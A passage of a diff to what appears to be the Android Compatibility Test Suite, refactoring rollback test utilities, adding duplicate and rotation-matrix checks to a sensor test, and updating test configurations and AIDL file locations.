+ Uninstall.packages(TestApp.A);
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
@@ -76,23 +78,24 @@
@Test
public void testBasic() throws Exception {
Install.single(TestApp.A1).commit();
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
- assertThat(Utils.getAvailableRollback(TestApp.A)).isNull();
- assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(RollbackUtils.getAvailableRollback(TestApp.A)).isNull();
+ assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
Install.single(TestApp.A2).setEnableRollback().commit();
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
- RollbackInfo available = Utils.getAvailableRollback(TestApp.A);
- assertThat(available).isNotNull();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.processUserData(TestApp.A);
+ RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
assertThat(available).isNotStaged();
assertThat(available).packagesContainsExactly(
Rollback.from(TestApp.A2).to(TestApp.A1));
- assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+ assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
- Utils.rollback(available.getRollbackId(), TestApp.A2);
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
- assertThat(Utils.getAvailableRollback(TestApp.A)).isNull();
- RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ InstallUtils.processUserData(TestApp.A);
+ RollbackUtils.waitForUnavailableRollback(TestApp.A);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).isNotNull();
assertThat(committed).hasRollbackId(available.getRollbackId());
assertThat(committed).isNotStaged();
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index c457ac4..df86fa6 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -25,6 +25,7 @@
import android.util.Log;
import android.content.pm.PackageManager;
+import java.lang.Math;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -37,6 +38,7 @@
private static final String TAG = "SensorAdditionalInfoTest";
private static final int ALLOWED_ADDITIONAL_INFO_DELIVER_SEC = 3;
private static final int REST_PERIOD_BEFORE_TEST_SEC = 3;
+ private static final double EPSILON = 1E-6;
private SensorManager mSensorManager;
@@ -100,11 +102,47 @@
assertTrue("Missing additional info at registration: (" + verifier.getState() + ")",
verifier.verify());
+ assertFalse("Duplicate TYPE_FRAME_BEGIN at: (" +
+ verifier.getState() + ")", verifier.beginFrameDuplicate());
+
+ if (verifier.internalTemperature()) {
+ assertFalse("Duplicate TYPE_INTERNAL_TEMPERATURE at: (" +
+ verifier.getState() + ")", verifier.internalTemperatureDuplicate());
+ }
+
+ if (verifier.sampling()) {
+ assertFalse("Duplicate TYPE_SAMPLING_TEMPERATURE at: (" +
+ verifier.getState() + ")", verifier.samplingDuplicate());
+ }
+
// verify TYPE_SENSOR_PLACEMENT for Automotive.
if (getContext().getPackageManager().
- hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
+ hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
verifier.sensorPlacement());
+
+ }
+ if(verifier.sensorPlacement()) {
+ assertFalse("Duplicate TYPE_SENSOR_PLACEMENT at: (" +
+ verifier.getState() + ")", verifier.sensorPlacementDuplicate());
+
+ assertTrue("Incorrect size of TYPE_SENSOR_PLACEMENT at: (" +
+ verifier.getState() + ")", verifier.sensorPlacementSizeValid());
+
+ if (verifier.sensorPlacementSizeValid()) {
+ assertTrue("Incorrect rotation matrix of TYPE_SENSOR_PLACEMENT at: (" +
+ verifier.getState() + ")", verifier.sensorPlacementRotationValid());
+ }
+ }
+
+ if (verifier.untrackedDelay()) {
+ assertFalse("Duplicate TYPE_UNTRACKED_DELAY at: (" +
+ verifier.getState() + ")", verifier.untrackedDelayDuplicate());
+ }
+
+ if (verifier.vec3Calibration()) {
+ assertFalse("Duplicate TYPE_VEC3_CALIBRATION at: (" +
+ verifier.getState() + ")", verifier.vec3CalibrationDuplicate());
}
verifier.reset(true /*flushPending*/);
@@ -127,9 +165,21 @@
private class AdditionalInfoVerifier extends SensorEventCallback {
private boolean mBeginFrame = false;
+ private boolean mBeginFrameDuplicate = false;
private boolean mEndFrame = false;
private boolean mFlushPending = false;
+ private boolean mInternalTemperature = false;
+ private boolean mInternalTemperatureDuplicate = false;
+ private boolean mSampling = false;
+ private boolean mSamplingDuplicate = false;
private boolean mSensorPlacement = false;
+ private boolean mSensorPlacementDuplicate = false;
+ private boolean mIsSensorPlacementSizeValid = false;
+ private boolean mIsSensorPlacementRotationValid = false;
+ private boolean mUntrackedDelay = false;
+ private boolean mUntrackedDelayDuplicate = false;
+ private boolean mVec3Calibration = false;
+ private boolean mVec3CalibrationDuplicate = false;
private CountDownLatch mDone;
private final Sensor mSensor;
@@ -148,9 +198,43 @@
public void onSensorAdditionalInfo(SensorAdditionalInfo info) {
if (info.sensor == mSensor && !mFlushPending) {
if (info.type == SensorAdditionalInfo.TYPE_FRAME_BEGIN) {
+ if (mBeginFrame) {
+ mBeginFrameDuplicate = true;
+ return;
+ }
mBeginFrame = true;
+ } else if (mBeginFrame &&
+ info.type == SensorAdditionalInfo.TYPE_INTERNAL_TEMPERATURE) {
+ if (mInternalTemperature) {
+ mInternalTemperatureDuplicate = true;
+ return;
+ }
+ mInternalTemperature = true;
+ } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SAMPLING) {
+ if (mSampling) {
+ mSamplingDuplicate = true;
+ return;
+ }
+ mSampling = true;
} else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SENSOR_PLACEMENT) {
+ if (mSensorPlacement) {
+ mSensorPlacementDuplicate = true;
+ return;
+ }
mSensorPlacement = true;
+ verifySensorPlacementData(info.floatValues);
+ } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_UNTRACKED_DELAY) {
+ if (mUntrackedDelay) {
+ mUntrackedDelayDuplicate = true;
+ return;
+ }
+ mUntrackedDelay = true;
+ } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_VEC3_CALIBRATION) {
+ if (mVec3Calibration) {
+ mVec3CalibrationDuplicate = true;
+ return;
+ }
+ mVec3Calibration = true;
} else if (info.type == SensorAdditionalInfo.TYPE_FRAME_END && mBeginFrame) {
mEndFrame = true;
mDone.countDown();
@@ -180,8 +264,62 @@
return "fp=" + mFlushPending +", b=" + mBeginFrame + ", e=" + mEndFrame;
}
+ // Checks sensor placement data length and determinant of rotation matrix is 1.
+ private void verifySensorPlacementData(float[] m) {
+ if(m.length != 12) {
+ mIsSensorPlacementSizeValid = false;
+ return;
+ }
+ mIsSensorPlacementSizeValid = true;
+ double determinant = m[0] * (m[5] * m[10] - m[6] * m[9] ) -
+ m[1] * (m[4] * m[10] - m[6] * m[8] ) +
+ m[2] * (m[4] * m[9] - m[5] * m[8] );
+ mIsSensorPlacementRotationValid = (Math.abs(determinant - 1) < EPSILON);
+ }
+
+ public boolean beginFrameDuplicate() {
+ return mBeginFrameDuplicate;
+ }
+
+ public boolean internalTemperature() {
+ return mInternalTemperature;
+ }
+ public boolean internalTemperatureDuplicate() {
+ return mInternalTemperatureDuplicate;
+ }
+
+ public boolean sampling() {
+ return mSampling;
+ }
+ public boolean samplingDuplicate() {
+ return mSamplingDuplicate;
+ }
+
public boolean sensorPlacement() {
return mSensorPlacement;
}
+ public boolean sensorPlacementDuplicate() {
+ return mSensorPlacementDuplicate;
+ }
+ public boolean sensorPlacementSizeValid() {
+ return mIsSensorPlacementSizeValid;
+ }
+ public boolean sensorPlacementRotationValid() {
+ return mIsSensorPlacementRotationValid;
+ }
+
+ public boolean untrackedDelay() {
+ return mUntrackedDelay;
+ }
+ public boolean untrackedDelayDuplicate() {
+ return mUntrackedDelayDuplicate;
+ }
+
+ public boolean vec3Calibration() {
+ return mVec3Calibration;
+ }
+ public boolean vec3CalibrationDuplicate() {
+ return mVec3CalibrationDuplicate;
+ }
}
}
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index d0756b9..bbf942e 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidTestBaseCurrentApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index d168b2d..05eb998 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
<option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
+ <option name="test-api-access" value="false" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
index 6285971..7b4cb30 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
<option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
+ <option name="test-api-access" value="false" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index 3fb352d..1762979 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
<option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
+ <option name="test-api-access" value="false" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index 9c49d41..04383b4 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
<option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
+ <option name="test-api-access" value="false" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml
index 1eec2b8..302ed6f 100644
--- a/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.test.HiddenApiTest" />
<option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
+ <option name="test-api-access" value="false" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 70db574..63f324d 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,4 +30,8 @@
<option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
<option name="runtime-hint" value="30s" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index 40968ec..e9c79f8 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
<option name="target" value="device" />
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index bb96b9a..405f5b2 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -333,21 +333,6 @@
}
/**
- * Test the case where the API declares the method not synchronized, but it
- * actually is.
- */
- @Test
- @Ignore("b/124445655")
- public void testAddingSync() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
- JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
- JDiffClassDescription.JDiffMethod method = method("syncMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- checkSignatureCompliance(clz, observer);
- observer.validate();
- }
-
- /**
* Test the case where the API declares the method is synchronized, but it
* actually is not.
*/
diff --git a/tests/systemAppTest/prebuilts/readme.txt b/tests/systemAppTest/prebuilts/readme.txt
deleted file mode 100644
index f9ba205..0000000
--- a/tests/systemAppTest/prebuilts/readme.txt
+++ /dev/null
@@ -1 +0,0 @@
-This directory will contain signed CtsSystemAppTestCases.apk.
diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk
deleted file mode 100644
index 0c94019..0000000
--- a/tests/systemAppTest/test/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This module will not be built in normal CTS build
-# TODO: add xml generation for test build
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_PRIVILEGED_MODULE := true
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSystemAppTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index 7b9d17d..ea0dacc 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAnimationTestCases.apk" />
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index fa27a0a..71ec3d3 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -24,7 +24,6 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-->
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
- <uses-permission android:name="android.permission.SET_TIME" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index 6d21843..a5e780c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -344,10 +344,12 @@
mUsageStatsManager.reportUsageStart(activity1, TOKEN_0);
assertAppOrTokenUsed(mFullToken0, true);
- // Send the device to sleep to get onStop called for the token reporting activities.
- mUiDevice.sleep();
- Thread.sleep(1000);
- assertAppOrTokenUsed(mFullToken0, false);
+ // Send the device to keyguard to get onStop called for the token reporting activities.
+ try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+ lockScreenSession.gotoKeyguard();
+ Thread.sleep(1000);
+ assertAppOrTokenUsed(mFullToken0, false);
+ }
}
private void assertAppOrTokenUsed(String entity, boolean expected) throws Exception {
diff --git a/tests/tests/assist/AndroidTest.xml b/tests/tests/assist/AndroidTest.xml
index 3c08038..42fcd60 100644
--- a/tests/tests/assist/AndroidTest.xml
+++ b/tests/tests/assist/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<!-- Force service to be installed as non-instant mode, always -->
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index f349971..7706bd4 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -24,6 +24,7 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
+import android.graphics.Color;
import android.graphics.Point;
import android.os.Bundle;
import android.os.RemoteCallback;
@@ -187,21 +188,20 @@
screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
int expectedColor = 0;
- int wrongColor = 0;
for (int pixel : pixels) {
- if (pixel == color) {
+ // Check for roughly the same because there are rounding errors converting from the
+ // screenshot's color space to SRGB, which is what getPixels does.
+ if ((Color.red(pixel) - Color.red(color) < 5)
+ && (Color.green(pixel) - Color.green(color) < 5)
+ && (Color.blue(pixel) - Color.blue(color) < 5)) {
expectedColor += 1;
- } else {
- wrongColor += 1;
}
}
- double colorRatio = (double) expectedColor / (expectedColor + wrongColor);
+ int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+ double colorRatio = (double) expectedColor / pixelCount;
Log.i(TAG, "the ratio is " + colorRatio);
- if (colorRatio < 0.6) {
- return false;
- }
- return true;
+ return colorRatio >= 0.6;
}
private void maybeBroadcastResults() {
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index d2b3353..9971f74 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -140,7 +140,12 @@
protected void tearDown() throws Exception {
mTestActivity.finish();
mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
- m3pCallbackReceiving.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+
+
+ if (m3pActivityCallback != null) {
+ m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+ }
+
super.tearDown();
mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
}
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
index 6cf7ef6..96fa73f 100644
--- a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
@@ -35,11 +35,4 @@
view.setBackgroundColor(backgroundColor);
view.requestLayout();
}
-
- @Override
- public void onPause() {
- Log.i(TAG, "onPause");
- finish();
- super.onPause();
- }
}
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
index 364457e..2a1c2c3 100644
--- a/tests/tests/background/AndroidTest.xml
+++ b/tests/tests/background/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index 7c03291..a1d5808 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Disable keyguard -->
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index f0e4006..ad6a1c9 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -32,6 +32,9 @@
java: {
sdk_version: "28",
},
+ cpp: {
+ enabled: false,
+ }
},
}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ByteEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
similarity index 91%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
index 04e98c5..72d5985 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
@@ -40,6 +40,9 @@
test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
String[] RepeatStringArray(in String[] input, out String[] repeated);
test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
+ ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+ List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
+ List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
@nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
@nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
@nullable char[] RepeatNullableCharArray(in @nullable char[] input);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IntEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/LongEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Bar.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ByteEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Foo.aidl
